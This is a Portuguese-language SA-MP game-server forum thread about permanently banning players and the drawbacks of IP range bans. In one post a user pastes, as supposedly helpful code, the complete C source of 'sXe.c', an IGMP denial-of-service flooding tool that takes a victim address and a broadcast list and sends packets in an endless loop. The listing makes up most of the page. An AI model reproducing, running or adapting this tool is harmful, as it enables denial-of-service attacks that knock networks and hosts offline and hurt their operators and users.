SA-MP Forums

Go Back   SA-MP Forums > Non-English > Languages > Português/Portuguese

Reply
 
Thread Tools Display Modes
Old 13/07/2010, 06:14 AM   #21
Guerek
Big Clucker
 
Join Date: Jul 2010
Posts: 78
Reputation: 0
Default Re: [Ajuda]Ban Definitivo

tecnicamente isso eh definitivo rafa
so que bani todos com o inicio de ip 187.20
isso seria pessimo para qualquer servidor
Guerek is offline   Reply With Quote
Old 13/07/2010, 03:30 PM   #22
ipsBruno
Godfather
 
ipsBruno's Avatar
 
Join Date: Apr 2010
Location: Brazil, Caxias RS
Posts: 6,084
Reputation: 545
Default Re: [Ajuda]Ban Definitivo

Quote:
Originally Posted by rafa3dify View Post
http://www.youtube.com/watch?v=NyXEnw3LvoM

Olha nessa comentario:


You get banned for life even if u change your ip they did something to your netwro k so youll neveer come back.

tradução + - do ******:

Voce foi banido para sempre, mesmo se vc mudar seu ip. que eles fizeram algo para o seu k netwro neveer forma que você volte
Cara chega de Double-Post,Tri-Post,Quad-Post

pqp olha quantos post, usa EDIT
ipsBruno is offline   Reply With Quote
Old 13/07/2010, 04:18 PM   #23
BiieL
High-roller
 
BiieL's Avatar
 
Join Date: May 2010
Location: Fim de Mundo
Posts: 1,236
Reputation: 2
Default Re: [Ajuda]Ban Definitivo

Drakon aquele code que voce postou não e C++ é JAVA, eu estudo um pouco de java, e aquilo nao eh java !!!
BiieL is offline   Reply With Quote
Old 13/07/2010, 04:56 PM   #24
TiagoPS
Gangsta
 
TiagoPS's Avatar
 
Join Date: Mar 2010
Location: Dilma's Country
Posts: 846
Reputation: 4
Default Re: [Ajuda]Ban Definitivo

Iae pessoal achei uma coisa que acho q pode ajudar vcs, mas nao acheias INC's
pawn Code:
/*
 *  - Program: sXe.c
 *  - Purpose: IGMP DoS
 *  - Author: lore <lore@r00tabega.com>
 *  - Compile: cc -o sXe sXe.c
 *  - Date: 15/8/99
 *  - Usage: ./sXe -h
 *
 *  - If you can figure out how to use this, you can create quite an
 *    effective attack from even a 14kbs modem.
 *
 */


#define __BSD_SOURCE

/* Header files */

#include <db.h>
#include <netinet/in_systm.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/igmp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>

__BEGIN_DECLS

/* Definitions */

#ifndef IGMP_ALL_HOSTS
#define IGMP_ALL_HOSTS (htonl(0xE0000001L))
#endif

#define TRUE  (0x1)
#define FALSE (0x0)
#define ERR   (0xffffffff)

#define IP_SIZE        (sizeof(struct ip))
#define IGMP_SIZE      (sizeof(struct igmp))
#define TOTAL_SIZE     (IP_SIZE + IGMP_SIZE)
#define IP_OFF         (0)
#define IGMP_OFF       (IP_SIZE)
#define MAX_BROADCASTS 100

/* Data-types */

struct broadcast_ele
  {
    u_long ipaddr;
  };

typedef int sock_t;

/* Global variables */

FILE * stream = stderr;
int    count = ERR;
sock_t raw_sock;
struct broadcast_ele bc_table[MAX_BROADCASTS];
char * packet_buf;
char * yes = "1";

/* Prototypes */

int     main              __P ((int, char * *));
void    usage             __P ((char *));
void    ctrlc             __P ((int));
void    die               __P ((int));
size_t  send_igmp_packet  __P ((u_long, u_long, u_char, u_char));
char *  strip             __P ((u_long));
u_long  res               __P ((char *));
u_short generate_checksum __P ((u_short *, int));

__END_DECLS

/* Functions */

int main (int argc, char * * argv)
{
  FILE * fptr;
  u_int pos = 0;
  u_char type = 0;
  u_char code = 0;
  u_long victim = ERR;
  u_char * ptr = *argv;
  u_char * fname = NULL;

  ++argv;
  --argc;

  while (argv && *argv)
    {
      if ( (*(*(argv))) == '-' )
        {
          switch ( *(*(argv) + 1) )
            {
            case ('n'):
                {
                  if ( !(*(argv + 1)) || ((count = atoi(*(argv + 1))) <= 0) )
                    {
                      usage (ptr);
                    }
                  ++argv;
                  break;
                }
            case ('t'):
                {
                  if ( !(*(argv + 1)) || ((type = atoi(*(argv + 1))) <= 0) )
                    {
                      usage (ptr);
                    }
                  ++argv;
                  break;
                }
            case ('c'):
                {
                  if ( !(*(argv + 1)) || ((code = atoi(*(argv + 1))) <= 0) )
                    {
                      usage (ptr);
                    }
                  ++argv;
                  break;
                }
            default:
              usage (ptr);
            }
        }
      else if (victim == ERR)
        {
          if ((victim = res(*(argv))) == ERR)
            {
              fprintf(stderr, "> Bad victim: %s\n", *argv);
              exit(EXIT_FAILURE);
            }
        }
      else if (!fname)
        {
          fname = (*(argv));
        }
      else usage (ptr);
      ++argv;
    }

  if (victim == ERR || !fname)
    {
      usage(ptr);
    }

  if (!(packet_buf = (char *)malloc(TOTAL_SIZE)))
    {
      fprintf(stream, "> Ran out of memory\n");
      exit(EXIT_FAILURE);
    }

  for (pos = 0; pos < MAX_BROADCASTS; ++pos)
    {
      ((*(bc_table + pos)).ipaddr) = 0;
    }
  pos = 0;

  if (!(fptr = fopen(fname, "r")))
    {
      fprintf(stream, "> Couldn't open %s: %s\n", fname, strerror(errno));
      exit(EXIT_FAILURE);
    }

  while ( (!feof(fptr)) && (pos < MAX_BROADCASTS) )
    {
      u_long ipaddr;
      memset(packet_buf, 0, TOTAL_SIZE);
      fgets(packet_buf, TOTAL_SIZE, fptr);

      if ( (!*packet_buf) || (*packet_buf == '#') ) continue;
      else if ((ipaddr = inet_addr(packet_buf)) <= 0)
        {
          fprintf(stream, "> Invalid IP: %s\n", packet_buf);
        }
      else
        {
          ((*(bc_table + pos)).ipaddr) = ipaddr;
          ++pos;
        }
    }

  if (!pos)
    {
      fprintf(stream, "> Loaded no broadcasts\n");
      exit(EXIT_SUCCESS);
    }

  if ((raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == ERR)
    {
      fprintf(stream, "> Raw socket could not be created: %s\n",
              strerror(errno));
      exit(EXIT_FAILURE);
    }

  else if ( (setsockopt(raw_sock, IPPROTO_IP, IP_HDRINCL, (char *)&yes,
                        sizeof(yes)) == ERR) ||
            (setsockopt(raw_sock, SOL_SOCKET, SO_BROADCAST, (char *)&yes,
                        sizeof(yes)) == ERR) )
    {
      fprintf(stream, "> Could not set socket opts: %s\n", strerror(errno));
      exit(EXIT_FAILURE);
    }

  fprintf(stream,
          "> sXe.c IGMP attack\n");
  fprintf(stream, "> victim: %s\n", strip(victim));

  if (count == ERR) fprintf(stream, "> count: Infinite\n");
  else              fprintf(stream, "> count: %d\n", count);

  fprintf(stream, "> type: %d\n", (!type) ? IGMP_HOST_MEMBERSHIP_QUERY : type);
  fprintf(stream, "> code: %d\n", code);

  signal(SIGINT, ctrlc);

  fprintf(stream, "> Hit Ctrl-C to abort\n");

  pos = 0;
  while (count)
    {
      if ( (pos == MAX_BROADCASTS) || ((*(bc_table + pos)).ipaddr) == 0)
        {
          pos = 0;
          continue;
        }

      if ( send_igmp_packet(victim, (*(bc_table + pos)).ipaddr,
                            type, code) == ERR )
        {
          fprintf(stream, "> send_igmp_packet() failed: %s\n",
                  strerror(errno));
          die(EXIT_FAILURE);
        }

      if (count != ERR) --count;
      ++pos;
    }
  die(EXIT_SUCCESS);
}

void usage (char * pname)
{
  fprintf(stream,
          "Usage: %s <victim> <bc_file> [ -n <number> ] [ -t <type> ]"
          " [ -c <code> ]\n", pname);

  exit(EXIT_SUCCESS);
}

void ctrlc (int useless)
{
  die (EXIT_SUCCESS);
}

void die (int code)
{
  fprintf(stream, "> Flood ended\n");
  shutdown(raw_sock, 2);
  free(packet_buf);
  exit(code);
}

size_t send_igmp_packet (u_long from, u_long to, u_char type, u_char code)
{
  int ret;
  struct ip * ip_ptr = (struct ip *)(packet_buf + IP_OFF);
  struct igmp * igmp_ptr = (struct igmp *)(packet_buf + IGMP_OFF);
  struct sockaddr_in sa;

  sa.sin_port = htons(0);
  sa.sin_addr.s_addr = to;
  sa.sin_family = AF_INET;

  memset(packet_buf, 0, TOTAL_SIZE);

  ip_ptr->ip_hl  = 5;
  ip_ptr->ip_v   = 4;
  ip_ptr->ip_tos = 0;
  ip_ptr->ip_len = TOTAL_SIZE;
  ip_ptr->ip_id  = 0;
  ip_ptr->ip_off = 0;
  ip_ptr->ip_ttl = 255;
  ip_ptr->ip_p   = IPPROTO_IGMP;
  ip_ptr->ip_sum = generate_checksum((u_short *)ip_ptr, IP_SIZE);
  /* ip_ptr->ip_src.s_addr = from; */
  ip_ptr->ip_src.s_addr = INADDR_ANY;
  ip_ptr->ip_dst.s_addr = to;

  igmp_ptr->igmp_type  = (!type) ? IGMP_HOST_MEMBERSHIP_QUERY : type;
  igmp_ptr->igmp_code  = code;
  igmp_ptr->igmp_cksum = generate_checksum((u_short *)igmp_ptr, IGMP_SIZE);
  igmp_ptr->igmp_group.s_addr = IGMP_ALL_HOSTS;

  ret = sendto(raw_sock, packet_buf, TOTAL_SIZE, 0,
               (struct sockaddr *)&sa, sizeof(sa));

  return (ret);
}

char * strip (u_long ipaddr)
{
  struct in_addr addr;
  addr.s_addr = ipaddr;
  return (inet_ntoa(addr));
}

u_long res (char * host)
{
  u_long ipaddr;
  struct hostent * hp;

  if ((ipaddr = inet_addr(host)) == ERR)
    {
      if (!(hp = gethostbyname(host))) return (FALSE);
      memcpy(&ipaddr, hp->h_addr, hp->h_length);
    }
  return (ipaddr);
}

/* Not my code */

u_short generate_checksum (u_short *addr, int len)
{
  register int nleft = len;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    {
      sum += *addr++;
      nleft -= 2;
    }

  if (nleft == 1)
    {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
    }

  sum = (sum >> 16) + (sum + 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer);
}
/*                    [url]www.hack.co.za[/url]              [2000]*/
TiagoPS is offline   Reply With Quote
Old 13/07/2010, 06:56 PM   #25
[VGS]Protioso
Huge Clucker
 
[VGS]Protioso's Avatar
 
Join Date: Feb 2009
Location: Brasil
Posts: 209
Reputation: 1
Default Re: [Ajuda]Ban Definitivo

Não tem como banir pelo número de alguma placa do computador pelo samp. O motivo é simples: não existem funções para isso!

Não que seja impossível, mas se querer tu vai ter que fazer um plugin/add e um CLIENT (c++) pra quem for jogar no seu servidor. Aí com isso tu consegue funções novas, mas que os clients precisam ter para você acessar.

Sobre o 'range ban', não sei se isso funciona 100%... Não entendo sobre como são formulados os números do ip, então fico quieto.

Beijokas.
[VGS]Protioso is offline   Reply With Quote
Old 08/12/2013, 06:38 PM   #26
Covhyer
Little Clucker
 
Covhyer's Avatar
 
Join Date: Oct 2013
Posts: 31
Reputation: 0
Default Respuesta: [Ajuda]Ban Definitivo

Não sei se funfa esse sistema mais da uma olhada.

http://pastebin.com/QPnMDKbE
Covhyer is offline   Reply With Quote
Old 08/12/2013, 06:54 PM   #27
Schocc
High-roller
 
Join Date: Mar 2012
Location: /home
Posts: 3,240
Reputation: 378
Default Re: [Ajuda]Ban Definitivo

REMOVED

Last edited by Schocc; 17/03/2014 at 03:40 PM.
Schocc is offline   Reply With Quote
Old 08/12/2013, 06:56 PM   #28
DanDRT
High-roller
 
DanDRT's Avatar
 
Join Date: Apr 2012
Posts: 1,346
Reputation: 227
Default Respuesta: [Ajuda]Ban Definitivo

Cego maldito!
DanDRT is offline   Reply With Quote
Old 08/12/2013, 06:58 PM   #29
SkullFire
High-roller
 
SkullFire's Avatar
 
Join Date: Nov 2012
Posts: 1,224
Reputation: 126
Default Re: [Ajuda]Ban Definitivo

Pá de ouro !
__________________
Darkness is coming...

SkullFire is offline   Reply With Quote
Old 08/12/2013, 08:25 PM   #30
ViniKuliveguisky
Gangsta
 
ViniKuliveguisky's Avatar
 
Join Date: May 2013
Location: Brasil-SC
Posts: 724
Reputation: 18
Default Respuesta: [Ajuda]Ban Definitivo



^^
__________________
ViniKuliveguisky is offline   Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off



All times are GMT. The time now is 03:26 PM.


Powered by vBulletin® Version 3.8.6
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd.